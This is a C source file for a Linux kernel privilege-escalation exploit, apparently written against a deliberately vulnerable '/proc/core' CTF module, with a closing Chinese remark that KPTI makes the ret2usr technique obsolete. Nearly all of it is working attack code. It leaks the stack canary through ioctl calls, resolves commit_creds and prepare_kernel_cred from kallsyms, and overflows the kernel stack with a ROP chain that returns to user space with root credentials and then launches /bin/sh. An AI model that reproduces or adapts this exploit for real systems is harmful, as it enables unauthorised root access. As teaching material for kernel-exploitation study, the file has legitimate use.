#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}
void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t offset = commit_creds - 0xffffffff8109c8e0;
// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}
对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic,这意味着实际上 ret2usr 已经是过去式了。